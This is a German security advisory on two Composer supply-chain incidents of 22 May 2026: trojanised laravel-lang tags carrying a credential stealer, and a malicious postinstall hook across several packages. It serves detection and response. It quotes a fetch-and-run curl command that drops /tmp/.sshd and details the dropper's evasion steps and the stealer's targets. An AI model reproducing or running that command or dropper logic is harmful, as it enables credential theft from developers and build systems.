27 Min. Lesezeit
Kritisch
Von

Doppelter Composer-Vorfall am 22. Mai 2026 — Laravel-Lang-Tag-Injection (Aikido) und postinstall-Welle in 8 Composer-Paketen + 700+ GitHub-Repos (Socket)

23. Mai 2026. Der 22. Mai 2026 hat zwei voneinander unabhängige Supply-Chain-Vorfälle im Composer-Ökosystem produziert. Aikido Security hat einen aktiven Angriff gegen drei Laravel-Lang-Pakete entdeckt — 233 manipulierte Version-Tags via GitHub-Force-Push mit kompromittiertem Org-Credential, ein Credential-Stealer über die Composer-Autoload-Schicht (Aikido-Bericht 23.05., GitHub Issue #257); StepSecurity hat den Angriff live detoniert und alle vier betroffenen Repos dokumentiert (StepSecurity-Bericht 22.05.). Parallel hat Socket einen zweiten Vorfall publiziert: acht Composer-Pakete plus über 700 GitHub-Repos mit demselben malicious postinstall-Hook in package.json (nicht composer.json), der einen Linux-Binary nach /tmp/.sshd zieht und im Hintergrund ausführt (Socket-Bericht 22.05.). Stand 23. Mai abends sind die manipulierten Tags entfernt, fünf der acht Postinstall-Repos haben revertet. Bei Moselwal kommt Laravel nur in kleineren Projekten zum Einsatz; unsere Composer-Logs zeigen seit dem 22. Mai keine ausgeführten Update-Operationen — die betreuten Plattformen sind nach aktuellem Stand nicht betroffen.

Walnuss-und-Messing-Archivschachtel mit cremefarbenen Adress-Karten auf mattem Schiefer; eine Karte ist halb-herausgezogen, eine ersetzte Karte mit identischem Aufdruck steckt an ihrer Stelle, eine Messing-Pinzette greift den Tausch — verstecktes oxblutrotes Wachssiegel auf der Rückseite der ersetzten Karte.
AI-generated · gpt-image 2.0

TL;DR — die 90-Sekunden-Zusammenfassung

FrageAntwort
Betroffen?Jede Composer-Pipeline, die seit dem 22. Mai 2026 ein composer install oder composer update gegen Packagist gefahren hat und laravel-lang/lang, laravel-lang/attributes, laravel-lang/http-statuses oder laravel-lang/actions im Tree hat — sofern nicht auf eine bekannt-saubere Version unterhalb des Welle-Fensters gepinnt und der Pull über das Lockfile-Hash-Pinning gegen einen alten, sauberen composer.lock gelaufen ist. 233 manipulierte Tags wurden gezählt über vier Pakete; laravel-lang/actions alle 46 Tags (laut StepSecurity-Live-Detonation und GitHub Issues), Aikido listete nur die drei zuerst entdeckten.
Risiko?Credential-Stealer zur Install-Zeit, vor dem ersten Application-Run. Über die Composer-Autoload-Files wird src/helpers.php beim ersten Anwendungs-Start geladen; eine self-executing Code-Sektion startet einen Dropper (C2-Domain flipboxstudio[.]info, in einem Integer-Array verschleiert), zieht einen ~5.900 Zeilen langen PHP-Stealer mit 15 Collector-Modulen und exfiltriert AES-256-verschlüsselt. Geklaut werden: AWS/GCP/Azure-Keys, kubeconfigs (inkl. /etc/kubernetes/admin.conf), HashiCorp-Vault-Tokens, Docker-Config, SSH-Keys, .git-credentials, .npmrc, .composer/auth.json, Shell-History, alle .env-Dateien im Working-Directory, Browser-Passwörter aus 17 Chromium-Browsern plus Firefox/Thunderbird, KeePass/1Password/Bitwarden-Vaults, Wallet-Files (Bitcoin, Ethereum, Monero u. a.) und Browser-Extension-Wallets (MetaMask, Phantom, Rabby, …), Slack-/Discord-/Telegram-Tokens, NordVPN/Mullvad/WireGuard/OpenVPN-Configs. Auf Windows: zusätzlich Credential Manager, PuTTY/WinSCP, RDP-Files.
Sofortmaßnahme?Pull-Fenster bestimmen: lief seit dem 22. Mai 2026 (präzise: ab 23:41 UTC) ein composer install/composer update mit einem der vier Pakete im Tree? Bei Treffer: Build-Time-Credentials (AWS/GCP/Azure-Keys, GitHub-PATs, Docker-Registry-Tokens, SSH-Keys) rotieren; Composer-Cache (~/.composer/cache/) leeren; Lockfile auf bekannt-saubere Versionen zurücksetzen oder die drei Pakete temporär aus dem Tree nehmen; Outbound-Logs auf Verbindungen zu flipboxstudio[.]info prüfen; im tmp-Verzeichnis nach .laravel_locale/<md5>-Markern, <12-hex>.php/<8-hex>.vbs-Drops und dem ELF-Binary /tmp/.<8-hex> (kein Extension, dot-prefixed, Linux) scannen; auf laufende orphaned Prozesse mit ppid=1 prüfen (PHP-Loader + unbenannter ELF), da beide Dateien sich nach Ausführung selbst löschen.
Empfehlung?Solange die Maintainer und Packagist die Tags noch aufräumen: keine Composer-Updates fahren für Projekte mit Laravel-Lang-Paketen im Tree. SBOM gegen die kompromittierten Versionslisten von Aikido prüfen; Lockfile-Hash-Pinning (composer.lock mit hash-Sum) und Pre-Deploy-Gates über composer audit werden in dieser Welle zur ersten Verteidigungslinie. Wer eigene Forks oder Mirror-Strategien einsetzt, prüft die Tag-Auflösungs-Pfade in der eigenen CI.
Kritikalität?Siehe Hero-Badge — critical. Aktiver Angriff mit publiziertem Payload und betriebenem C2; der Stealer ist nicht hypothetisch, sondern lief seit dem 22. Mai gegen jede unbedacht laufende Build-Pipeline. Stand 23. Mai abends sind die Tags entfernt; lokale Composer-Caches können die kompromittierten Tarballs weiterhin enthalten. Parallel läuft am selben Tag der zweite Composer-Vorfall (Socket, 8 Pakete in Branch-Tracking-Versionen + 700+ GitHub-Repos mit identischem postinstall-Pattern) — Details in der Sektion „Parallel-Vorfall am 22. Mai“ weiter unten.

Was ist das Problem? — Force-Push mit kompromittiertem Org-Credential

DisclosureAikido Security, 23. Mai 2026 (Aikido-Blog); Maintainer-Meldung am 22. Mai (GitHub Issue #257); Live-Detonation StepSecurity, 22. Mai (StepSecurity-Blog)
ReporterIlyas Makari (Aikido Security); Varun Sharma (StepSecurity)
Betroffene Paketelaravel-lang/lang (7.847 Stars), laravel-lang/attributes, laravel-lang/http-statuses, laravel-lang/actions — viertes Paket laut Socket und StepSecurity; Aikido listete nur die drei zuerst entdeckten
Anzahl manipulierter Tags233+ Tag-Versionen über vier Pakete (alle 86 Tags /attributes, alle 46 Tags /actions, alle Tags /http-statuses v1–v3.4.5, alle Tags /lang)
Trigger-Fenster23:41–23:56 UTC am 22. Mai 2026 (15-Minuten-Fenster, Commits 5–13 Sekunden auseinander — laut StepSecurity-Live-Detonation)
C2-Domainflipboxstudio[.]info (Typosquat von flipboxstudio.com)
Vulnerability Type ClusterSupply Chain Compromise (CWE-1357), Credential Disclosure (CWE-200), Use of Cryptographic Code Obfuscation (CWE-506)
Reaktion Packagistsofortiges Take-Down der Malicious-Versionen, temporäres Unlisting; Stand 23. Mai abends sind die Tags entfernt
Reaktion MaintainerIssue assigned Andrey Helldar (Lead Maintainer, andrey-helldar); manipulierte Tags aus den Repositories entfernt

Welche Versionen sind konkret betroffen?

Aikido hat keine vollständige Versionsnummern-Liste publiziert. StepSecurity hat alle vier Repos live in einem isolierten Runner detoniert und die konkreten Imposter-Commits dokumentiert. Was öffentlich gesichert ist:

Aktueller Tag-Stand nach der Aufräumarbeit (Stand 23. Mai abends):

PaketHöchster sichtbarer Tag (bereinigt)Commit (bereinigt)
laravel-lang/attributesv2.4.1d59561...
laravel-lang/http-statusesv3.4.5bba2e4...
laravel-lang/actions1.12.2nach Maintainer-Cleanup prüfen
laravel-lang/langje nach Major-Liniegenaue Version über composer.json der Anwendung prüfen

Der Angriffsvektor — Force-Push mit kompromittiertem Org-Credential

Laut StepSecurity-Analyse (Live-Detonation in isoliertem Runner) hatte der Angreifer direkten Push-Zugriff zur Laravel-Lang GitHub-Organisation und hat alle bestehenden Tags in den betroffenen Repositories via git push --force auf neue malicious Commits umgeschrieben. Die Commits laufen 5–13 Sekunden auseinander — konsistent mit einem automatisierten Script, das alle Tags eines Repos der Reihe nach force-pusht.

Die Aikido-Erstanalyse beschrieb den Mechanismus als „Version-Tags können auf Commits aus einem Fork zeigen“ — das trifft eine verwandte, aber separate GitHub-Eigenschaft. StepSecurity’s detailliertere Live-Auswertung zeigt: hier wurden bestehende Tags nicht auf Fork-Commits umgeleitet, sondern vollständig mit neuen Imposter-Commits überschrieben. Beide Vektoren sind technisch möglich; für diesen Angriff war es ein direkter Force-Push.

Packagist löst Version-Tags über GitHub auf und cached die Tarballs. Wer in dieser Phase ein composer install oder composer update gegen Packagist gefahren hat, bekommt einen sauber aufgelösten Tag (aus Composer-Sicht) mit Code, der nie im offiziellen Repo-Hauptbranch war.

Stage 1 — Dropper über Composer-Autoload

Die manipulierten Tags enthalten eine Datei src/helpers.php. Auf den ersten Blick sieht sie nach einer Laravel-Lokalisierungs-Hilfsdatei aus: zwei harmlose Funktionen laravel_lang_locale() und laravel_lang_fallback(). Unter den Funktionen sitzt ein self-executing Code-Block — sobald die Datei geladen wird, läuft er.

Composer-Pakete werden über die autoload-Sektion in composer.json registriert. Für Laravel-Lang ist die Datei als files-Autoload eingetragen, das heißt: sie wird beim ersten require 'vendor/autoload.php' der Anwendung automatisch ausgewertet. Ein Application-Code-Aufruf der Funktionen ist nicht nötig — der Dropper feuert, sobald die Anwendung startet. StepSecurity hat die vollständige Kill Chain live detoniert; die gesamte Sequenz läuft in unter zwei Sekunden ab dem Moment, in dem der Autoloader feuert.

Was der Dropper macht:

  1. Fingerprintet den Host (MD5 aus Dateipfad + Hostname + Inode — laut Aikido; Socket nennt abweichend „Directory Path + System Architecture + Inode“, die Quellen widersprechen sich), schreibt einen Marker <tmp>/.laravel_locale/<md5> und feuert pro Host nur einmal.
  2. Dekodiert die C2-Domain flipboxstudio[.]info aus einem Integer-Array — statisches Scanning sieht keinen verdächtigen String.
  3. Holt das Payload via file_get_contents mit curl-Fallback (beide mit verify_peer = false) von flipboxstudio[.]info/payload.
  4. Schreibt zwei Dateien in /tmp: den PHP-Loader nach /tmp/.laravel_locale/<12-hex>.php (hidden directory) und ein ELF-Binary nach /tmp/.<8-hex> (kein Extension, dot-prefixed — laut StepSecurity-Detonation).
  5. Auf Linux/macOS: startet den PHP-Loader via sh -c "php /tmp/.laravel_locale/<name>.php > /dev/null 2>&1 &" im Hintergrund; der Loader wird zu ppid=1 reparented (init-Adoption). Der Loader startet dann das ELF-Binary via nohup /tmp/.<name> > /dev/null 2>&1 &.
  6. Das ELF-Binary löscht anschließend beide Dateien vom Disk. Der Prozess läuft danach weiter aus dem Speicher (Linux-Kernel gibt einen Inode erst frei, wenn kein Prozess ihn hält) — kein On-Disk-Footprint, aber sichtbar in ps als orphaned Prozess mit ppid=1.
  7. Auf Windows: dropt eine .vbs-Launcher-Datei und führt sie via cscript still aus.

Stage 2 — Credential-Stealer

Das nachgeladene Payload ist ein ~5.900 Zeilen langer PHP-Stealer mit 15 spezialisierten Collector-Modulen. Nach der Sammlung verschlüsselt er AES-256, exfiltriert an flipboxstudio[.]info/exfil und löscht sich selbst, um die forensische Spur zu minimieren.

Was der Stealer mitnimmt (vollständige Liste laut Aikido-Analyse):

Das ist keine selektive Spionage, sondern ein breit angelegtes Credential-Sweep — der Worm-Charakter fehlt (anders als Shai-Hulud), aber die Beuteklasse pro infizierter Maschine ist außergewöhnlich vollständig.

Am gleichen Tag hat das Socket Research Team einen zweiten Composer-Vorfall publiziert — strukturell anders als die Laravel-Lang-Tag-Injection, aber thematisch eng verwandt: ein malicious postinstall-Hook in package.json (nicht composer.json), der einen Linux-Binary von einer GitHub-Releases-URL nach /tmp/.sshd zieht und im Hintergrund startet.

Betroffene Composer-Pakete (Socket-Befund)

Acht Composer-Pakete in Branch-Tracking-Versionen:

PaketAffected VersionAufräumstand
moritz-sauer-13/silverstripe-cms-themedev-masternoch nicht revertet (Hook auf master)
crosiersource/crosierlib-basedev-masternoch nicht revertet (Hook auf master)
devdojo/wave (~6.400 Stars, Laravel SaaS Starter Kit)dev-mainrevertet (5afe6da)
devdojo/genesis (~1.300 Stars, ~9.100 Packagist-Installs)dev-mainrevertet (3be1f20)
katanaui/katanadev-mainrevertet (f679252)
elitedevsquad/sidecar-laravel3.x-devrevertet (b1f5c53, „security: revert malicious postinstall payload“)
r2luna/braindev-mainrevertet (421a1d5)
baskarcm/tzi-chat-uidev-mainnoch nicht revertet (Hook auf main)

Packagist hat die betroffenen Pakete temporär entfernt, weist aber darauf hin, dass Branch-Tracking-Pakete beim nächsten Package-Update wiederhergestellt werden können, wenn das Upstream-Repository nicht bereinigt ist. Drei der acht Repos waren zum Zeitpunkt der Socket-Recherche noch nicht revertet.

Vergleichstabelle der zwei Vorfälle vom 22. Mai

AspektLaravel-Lang (Aikido)700+ Postinstall-Welle (Socket)
Disclosure23. Mai 2026 (Erkennung 22.05.)22. Mai 2026
VektorForce-Push auf bestehende Tags mit kompromittiertem Org-Credential (laut StepSecurity-Live-Detonation); Aikido beschrieb initial einen Fork-Commit-Mechanismus — StepSecurity’s Auswertung zeigt direkten Force-PushMalicious commits direkt im Upstream-Repo, Branch-Tracking-Versionen pullen den Stand
Manipuliertes Feldsrc/helpers.php via Composer-Autoload (files-Eintrag in composer.json)postinstall-Hook in package.json
TriggerComposer-Autoload beim ersten Application-Startnpm-postinstall beim Install des Composer-Pakets (sofern das Paket auch ein package.json enthält)
Stage 1PHP-Dropper in src/helpers.php (in Integer-Array verschleiert)Shell-Command: curl -skL <gh-releases-url> -o /tmp/.sshd && chmod +x && /tmp/.sshd &
Stage 2~5.900-Zeilen PHP-Credential-Stealer (15 Module, AES-256-Exfiltration)Linux-Binary gvfsd-network, Second Stage zum Zeitpunkt der Socket-Recherche nicht mehr abrufbar
C2-Infrastrukturflipboxstudio[.]infoGitHub-Releases von parikhpreyash4/systemd-network-helper-aa5c751f
Anzahl Composer-Pakete4 Pakete (lang, attributes, http-statuses, actions), 233+ manipulierte Tags8 Composer-Pakete
Weiteres VorkommenAktuell auf die 4 Pakete der Laravel-Lang-Org begrenzt; StepSecurity hat GitHub Issues in allen vier Repos eingereicht (#277, #1193, #1085)Socket fand das gleiche Payload-Pattern in über 700 GitHub-Code-Treffern, viele Node.js-Repos; plus identisches Pattern in .github/workflows/*.yml-Files
Versions-ArtSemVer-Tags (Versionsnummern höher als regulär, damit Caret-Range sie zieht)Branch-Tracking-Versionen (dev-main, dev-master, 3.x-dev)
Reaktion PackagistTags entfernt, Pakete temporär ausgelistetPakete entfernt, mit Hinweis auf Re-Sync-Risiko bei Branch-Tracking
Reaktion Maintainerbereinigt5 von 8 revertet, 3 noch nicht (Stand 22.05.)

Was beide Vorfälle strukturell gemeinsam zeigen

Beide Vorfälle treffen denselben Vertrauensbruch im Composer-/Packagist-Modell: die ausgelieferte Code-Referenz ist nicht kryptografisch an die SemVer-Version oder den Branch-Namen gebunden. Composer und Packagist vertrauen auf den aufgelösten Commit-Hash; wer den auf der GitHub-Schicht manipuliert — sei es durch Tag-Injection aus einem Fork (Laravel-Lang) oder durch malicious commits direkt im Upstream-Repository (Socket-Welle) —, manipuliert ohne Hinweis im SemVer-Label.

Beide Vorfälle zeigen außerdem, dass das Versionsname-Vertrauen das einzige ist, was Composer auf der Dist-Seite hat. Lokale Composer-Caches validieren die Tarball-Hashes nicht erneut gegen den Repo-Stand. Lockfile-Hash-Pinning auf der Application-Seite bleibt die zuverlässigste Bremse — was direkt zur Reflektion in der „Was wir konkret getan haben“-Sektion weiter unten führt.

Eine zusätzliche Schicht, die der Socket-Bericht aufdeckt: Cross-Ecosystem-Reviewer-Blindspot. Wer als Security-Reviewer ein PHP-Composer-Paket prüft, schaut auf composer.json und die PHP-Klassen — package.json mit postinstall-Hooks, die im selben Repository für das JavaScript-Build-Tooling liegen, bekommt selten dieselbe Aufmerksamkeit. Dasselbe Pattern in .github/workflows/*.yml-Files ist die nächste Schicht.

Bei Moselwal: keiner der 8 Pakete im Tree, Branch-Tracking ohnehin nicht in Production

Die acht von Socket genannten Pakete (silverstripe-cms-theme, crosierlib-base, devdojo/wave, devdojo/genesis, katanaui/katana, elitedevsquad/sidecar-laravel, r2luna/brain, baskarcm/tzi-chat-ui) sind in keinem der von uns betreuten Composer-Trees zu finden — sie sind durchweg Starter-Kits, CMS-Themes oder spezifische Tooling-Pakete, die in unserer Plattform-Auswahl nicht vorkommen. Branch-Tracking-Composer-Versionen (dev-main, dev-master, 3.x-dev) sind in seriösen Production-Setups generell zu vermeiden und werden in unseren Plattformen nicht eingesetzt. Die Cross-Ecosystem-Reviewer-Blindspot-Frage (package.json neben composer.json) ist trotzdem ein Punkt für unsere Audit-Routine — wir prüfen, ob die SBOM-Generierung der betreuten Plattformen package.json-Files in Composer-Vendor-Verzeichnissen abdeckt.

Wer ist betroffen?

SetupStatusBedingung
Composer-Pipeline mit laravel-lang/lang, /attributes oder /http-statuses im Tree, seit dem 22. Mai composer install/composer update gegen Packagist gelaufen, ohne strenges Lockfile-Hash-PinningVoll betroffen — Credential-Rotation PflichtBuild-Time-Credentials wurden mit hoher Wahrscheinlichkeit über flipboxstudio[.]info/exfil abgegriffen.
Composer-Pipeline mit composer install gegen ein vor dem 22. Mai erstelltes composer.lock und striktem Hash-Pinning (composer install --no-dev ohne update)Reduziertes RisikoLockfile-Pinning gegen den hash-Eintrag verhindert den Bezug der manipulierten Tarballs. Dennoch SBOM-Verifikation gegen die Aikido-Versionsliste, ob ein älterer Lockfile-Stand betroffen ist.
Composer-Cache (~/.composer/cache/) mit kompromittiertem TarballLatent betroffenDer Cache enthält den Payload weiterhin, auch nach Packagist-Unlisting. Bei einem Re-Install ohne Network-Pull kann der Tarball erneut deployed werden. Cache leeren.
Eigene Forks/Mirror von Laravel-Lang oder eigene Tag-Auflösungs-PfadeVoll betroffen — sofort prüfenDie GitHub-Tag-Injection wirkt auch in Forks, wenn dort ohne explizite Branch-Bindung getagged wird. CI-Auflösung der Tags gegen den offiziellen Commit-Hash verifizieren.
Anwendungen ohne laravel-lang/* im TreeNicht betroffenDie drei Pakete sind nicht Laravel-Core. Wer Laravel ohne Localization-Sprachpakete fährt oder ein eigenes Sprach-Set hat, ist außerhalb.
Sylius / Symfony / TYPO3 / DrupalNicht direkt betroffenKeiner der drei Stacks zieht laravel-lang/* als Default-Dependency. Wer in einem Symfony- oder Sylius-Projekt zusätzlich Laravel-Lang ingehäkelt hat, sieht das im composer.lock.
Composer-Tree mit einem der 8 Pakete aus der Socket-Welle (silverstripe-cms-theme, crosierlib-base, devdojo/wave, devdojo/genesis, katanaui/katana, elitedevsquad/sidecar-laravel, r2luna/brain, baskarcm/tzi-chat-ui) in einer Branch-Tracking-Version (dev-main, dev-master, 3.x-dev)Voll betroffen — sofort prüfenpostinstall-Hook in package.json startet einen Drop nach /tmp/.sshd. Branch-Tracking-Pakete folgen dem Repo-Stand — auch wenn Packagist temporär ausgelistet hat, kann ein Re-Sync das Payload wiederholen. Build-Time-Cred-Rotation und Binär-Cleanup. Socket-Befund.
Composer-Paket-/Extension-Repo mit eigenem package.json für JavaScript-Build-Tooling (Vite, esbuild, Tailwind-Build, …)Cross-Ecosystem-Prüfung empfohlenSocket-Befund: postinstall-Hooks in package.json neben composer.json bekommen vom Composer-/PHP-Security-Review selten dieselbe Aufmerksamkeit. SBOM- und Audit-Pipeline prüfen, ob package.json-Files in Composer-Vendor-Verzeichnissen abgedeckt sind. Dasselbe gilt für .github/workflows/*.yml.

Bei Moselwal: keine Betroffenheit nach aktuellem Stand

Laravel kommt bei uns nur in kleineren Projekten zum Einsatz — keine der zentralen Mandanten-Plattformen läuft auf Laravel. Unsere Composer-Logs zeigen seit dem 22. Mai 2026 keine ausgeführten Update-Operationen auf den betreuten Laravel-Projekten; das Welle-Fenster wurde nicht durchlaufen. Damit sind die betreuten Plattformen nach aktuellem Stand nicht betroffen.

Vorsichtsmaßnahmen, die wir trotzdem fahren:

Wir vermuten nichts, wir prüfen — und das Prüfen ist bei den Laravel-Projekten durch (negativ). Bei nicht-Laravel-Stacks ist die Welle strukturell nicht relevant.

Auswirkungen

Build-Time-Credential-Exfiltration in einem Umfang, der über frühere Composer-Wellen hinausgeht. Während die Mini-Shai-Hulud-/intercom-php-Welle am 30. April auf eine relativ enge Beuteliste zielte (npm-Tokens, GitHub-PATs, Cloud-Credentials), nimmt der Laravel-Lang-Stealer praktisch alle reichweitenfähigen Credentials einer Entwickler- oder Build-Maschine mit — inkl. Browser-Passwörter und Crypto-Wallets, was über die klassische Build-Pipeline-Bedrohung hinausgeht und auf Entwickler-Workstations als zusätzliches Ziel hindeutet.

Strukturhinweis Tag-Injection: anders als bei klassischen kompromittierten Maintainer-Accounts (Phishing, Token-Diebstahl, dann Push in den offiziellen Repo) bleibt der erwartete Repository-Zustand häufig sauber. Die Manipulation sitzt zwischen der Versionsname-/Tag-Vertrauens-Schicht und dem tatsächlich ausgelieferten Commit/Dist — Composer und Packagist vertrauen am Ende auf die aufgelöste Referenz, nicht auf eine kryptografisch unveränderliche SemVer-Version. Code-Review und git log auf dem offiziellen Repo zeigen nichts; nur ein Vergleich der Tag-Commit-Hashes gegen die im Hauptbranch erreichbaren Commits findet die Diskrepanz. Maintainer haben diese Verifikation in der Regel nicht automatisiert.

Composer-Autoload-Schicht als stille Trigger-Spur. Anders als bei npm-preinstall-Hooks ist der Composer-Autoload-Mechanismus kein dedizierter Pre-Install-Hook — er ist Teil des normalen Application-Bootstraps. Das heißt: composer install --ignore-scripts (die Standard-Mitigation gegen npm-Worm-Payloads) hilft hier nicht, weil das Payload nicht über Lifecycle-Scripts läuft, sondern über das files-Autoload-Feld. Der Stealer feuert erst beim ersten Anwendungs-Start, aber das ist in CI-Pipelines mit Test-Run praktisch sofort.

Latente Spuren im Composer-Cache: Packagist hat die Tags gezogen, aber das schützt nur vor zukünftigen Installs. Lokale ~/.composer/cache/-Verzeichnisse auf Build-Agenten enthalten die kompromittierten Tarballs weiterhin. Ein späterer Re-Install ohne Network-Pull (z. B. nach einem Build-Cache-Restore) kann das Payload erneut ausrollen.

Cross-Ecosystem-Reviewer-Blindspot (Socket-Befund vom selben Tag): der parallele Composer-Vorfall mit postinstall-Hook in package.json trifft eine andere, aber strukturell verwandte Schicht. Wer ein PHP-Composer-Paket reviewed, schaut auf composer.json und die PHP-Klassen — package.json-Hooks neben dem Composer-Manifest, im selben Repository für das JavaScript-Build-Tooling abgelegt, bekommen selten dieselbe Aufmerksamkeit; dasselbe gilt für .github/workflows/*.yml-Files. Beide Welle-Pattern an einem Tag zeigen, dass das Composer-Vertrauensmodell sich gleich an mehreren Stellen auf Konventionen verlässt, die nicht kryptografisch gebunden sind.

Stand 23. Mai 2026 abends: keine bestätigten Mass-Exploitation-Berichte gegen produktive End-Anwender — aber das Pull-Fenster von ~24–36 Stunden seit dem 22. Mai war ausreichend, um eine relevante Zahl Build-Agenten zu treffen. Die Reichweite klärt sich in den nächsten Tagen über Token-Audit-Reports der betroffenen Cloud-Anbieter.

Mitigation / Sofortmaßnahmen

Pfad 1 — Pull-Fenster bestimmen

 

# CI-Log-Analyse: lief seit dem 22. Mai 2026 (ab 23:41 UTC) ein composer install/update?
grep -E "(composer install|composer update)" .github/workflows/*.yaml

# Treffer im Tree (jetzt vier Pakete):
composer show | grep "laravel-lang/"

# Lockfile-Hashes der vier Pakete prüfen
grep -A 2 'laravel-lang/(lang|attributes|http-statuses|actions)' composer.lock

# Imposter-Commit-Autor im lokalen Git-Klon prüfen
git log --format='%H %ae' | grep 'you@example.com'

 

Wenn composer.lock einen dist.reference-Commit-Hash aus dem Mai-Fenster (ab 23:41 UTC) enthält, hat die Pipeline das Payload mit hoher Wahrscheinlichkeit gezogen. Zusätzlich: Commit-Autor der getaggten Version im GitHub-Repo prüfen — Imposter-Commits tragen Your Name <you@example.com> als Autor und ändern exakt zwei Dateien (composer.json + src/helpers.php).

Pfad 2 — Composer-Cache, Marker und laufende Prozesse prüfen

 

# Composer-Cache leeren (Build-Agenten und Entwickler-Maschinen)
composer clear-cache

# PHP-Loader-Marker und -Drop suchen
find /tmp -type d -name ".laravel_locale" -print 2>/dev/null
find /tmp -path '*/.laravel_locale/*' 2>/dev/null

# ELF-Binary-Drop suchen (dot-prefixed, kein Extension, self-deletes nach Start)
find /tmp -maxdepth 1 -name '.*' -not -type d 2>/dev/null

# Orphaned Prozesse prüfen: PHP-Loader + ELF laufen weiter aus Speicher
# auch nach File-Deletion (ppid=1 nach init-Adoption)
ps auxf | awk '{if ($3==1) print}'
ls -la /proc/*/exe 2>/dev/null | grep deleted

# Auf Windows (PowerShell)
Get-ChildItem -Path $env:TEMP -Filter '.laravel_locale' -Recurse -Force

 

Wenn Marker, Drops oder orphaned Prozesse mit ppid=1 gefunden werden, die von gelöschten /tmp-Pfaden ausgeführt werden: die Maschine ist kompromittiert. Forensik-Bilder ziehen bevor die Spuren weggeräumt werden — das ELF-Binary läuft nach File-Deletion weiter aus dem Speicher.

Pfad 3 — Credential-Rotation

Bei Treffer ist der gesamte Cred-Stack zu rotieren, weil der Stealer breit greift:

Auf Windows zusätzlich: WinSCP-Sessions, PuTTY-Sessions, Outlook-Profil-Credentials, RDP-Targets.

Pfad 4 — Network-Detection

 

# DNS-/Proxy-Logs nach C2-Domain durchsuchen
grep -i 'flipboxstudio' /var/log/squid/access.log
grep -i 'flipboxstudio' /var/log/named/queries.log

# Outbound-Connections auf den Build-Agenten der letzten 72 h
journalctl --since "2026-05-21" | grep -i 'flipboxstudio'

 

Falco/Tetragon-Rule (Kurzform) für DNS-Auflösungen auf den C2-Host:

 

- rule: Laravel-Lang Stealer C2 DNS Lookup
  desc: Process resolves the Laravel-Lang stealer C2 domain
  condition: >
    evt.type=connect and
    fd.name contains "flipboxstudio.info"
  output: "Laravel-Lang stealer C2 lookup (proc=%proc.name fd=%fd.name)"
  priority: CRITICAL

 

Pfad 5 — Composer-Audit als Pre-Deploy-Gate

 

composer audit --format=plain

 

Die Friends-Of-PHP-Datenbank zieht die manipulierten Tags nach, sobald die GHSA-Advisories veröffentlicht sind. Bis dahin: SBOM (CycloneDX) gegen die StepSecurity-Imposter-Commit-Liste abgleichen.

Pfad 6 — Lockfile vorübergehend auf vor-22.-Mai-Stand zurücksetzen

Wenn ein sauberer Lockfile-Stand von vor dem 22. Mai 2026 (23:41 UTC) im Git-History verfügbar ist (typischerweise der letzte erfolgreiche Production-Deploy), reicht ein git checkout <commit> -- composer.lock plus composer install, um einen sicheren Zustand wiederherzustellen. Wer kontinuierliche Updates fährt, prüft den letzten Lockfile-Commit-Hash gegen das Welle-Fenster.

Indicators of Compromise — Laravel-Lang (Aikido / StepSecurity)

TypWertQuelle
C2-Domainflipboxstudio.info (Typosquat von flipboxstudio.com)Aikido, Socket, StepSecurity
Dropper-Pull-URLflipboxstudio.info/payloadAikido, StepSecurity
Exfiltrations-Endpointflipboxstudio.info/exfilAikido, StepSecurity
Marker-Datei<tmp>/.laravel_locale/<md5_hash>Aikido
PHP-Loader-Drop<tmp>/.laravel_locale/<12-hex>.php (self-deletes nach Ausführung)Aikido, StepSecurity
ELF-Binary-Drop (Linux)/tmp/.<8-hex> (kein Extension, dot-prefixed, hidden; self-deletes nach Start)StepSecurity (Live-Detonation)
Windows-Launcher<tmp>/.laravel_locale/<8-hex>.vbsAikido
Process Indicator (Linux)Orphaned php-Prozess mit ppid=1, der von einem gelöschten /tmp-Pfad ausgeführt wird; orphaned unbenannter ELF-Prozess mit ppid=1 — beide sichtbar in ps auxf auch nach File-DeletionStepSecurity (Live-Detonation)
Git IndicatorCommit-Autor Your Name <you@example.com> auf jedem kompromittierten Tag-Commit; jeder Commit ändert exakt zwei Dateien: composer.json und src/helpers.php; Commit-Timestamps 2026-05-22 23:41–23:56 UTCStepSecurity (Live-Detonation)
Cloud-Metadata-Zugriff169.254.169.254 (EC2 IMDS)Socket

Indicators of Compromise — Postinstall-Welle (Socket)

TypWert
Drop-Pfad (Linux)/tmp/.sshd
Pull-QuelleGitHub-Releases von parikhpreyash4/systemd-network-helper-aa5c751f
Binärname (Second Stage)gvfsd-network
Hook-Lokationpackage.json (Feld scripts.postinstall) in Composer-Pakete-Repos
Sekundär-Patternidentische Shell-Command-Sequenz in .github/workflows/*.yml-Files (Socket-Befund über 700+ Code-Treffer)

Composer-Tree-Inventur (allgemein für Plattform-Betreiber)

 

# Anwendungen mit Laravel-Lang im Tree finden (jetzt vier Pakete)
find . -name composer.json -exec grep -l 'laravel-lang/' {} \;

# Versions-Stand pro Anwendung
find . -name composer.lock -exec grep -A 1 'laravel-lang/' {} \;

# Imposter-Commit-Autor in lokalem Git-Klon prüfen
git log --format='%H %ae %s' | grep 'you@example.com'

# Socket-Welle: Branch-Tracking-Constraints im eigenen Tree finden
find . -name composer.json -exec grep -E '"(dev-main|dev-master|[0-9]+\.x-dev)"' {} \;

# Cross-Ecosystem: package.json in Composer-Vendor-Bäumen
find vendor -name package.json -exec grep -l '"postinstall"' {} \;

 

Process-Hunting auf Build-Agenten (Linux)

 

# Orphaned Prozesse mit ppid=1 die von /tmp ausgeführt werden
ps auxf | grep -E '(ppid=1|/tmp/)'

# Prozesse die von gelöschten Pfaden laufen (deleted)
ls -la /proc/*/exe 2>/dev/null | grep deleted

# ELF-Binary-Drop suchen (dot-prefixed, kein Extension)
find /tmp -maxdepth 1 -name '.*' -not -type d 2>/dev/null

# PHP-Loader-Drop und Marker
find /tmp -type d -name '.laravel_locale' 2>/dev/null
find /tmp -path '*/.laravel_locale/*' 2>/dev/null

 

CI-Pipeline-Spuren

 

# Welche Pipelines haben seit dem 22. Mai 2026 (ab 23:41 UTC) einen Composer-Pull gefahren?
gh run list --created '>=2026-05-22' --workflow ci.yml

# Socket-Welle: Outbound-Connections auf parikhpreyash4-GitHub-Release-URLs
grep -i 'parikhpreyash4/systemd-network-helper' /var/log/squid/access.log

# Drop-Pfad prüfen
ls -la /tmp/.sshd 2>/dev/null && echo 'TREFFER: /tmp/.sshd vorhanden'

Operational Decision Block

Mittelstand (Laravel-Plattformen)

Wer Laravel-Projekte produktiv betreibt und Laravel-Lang nutzt: Updates aussetzen, Pull-Fenster prüfen, Credential-Rotation für betroffene Build-Agenten und Entwickler-Maschinen. Wer Renovate/Dependabot mit Auto-Merge betreibt, pausiert den Auto-Merge bis zur Maintainer-Klärung.

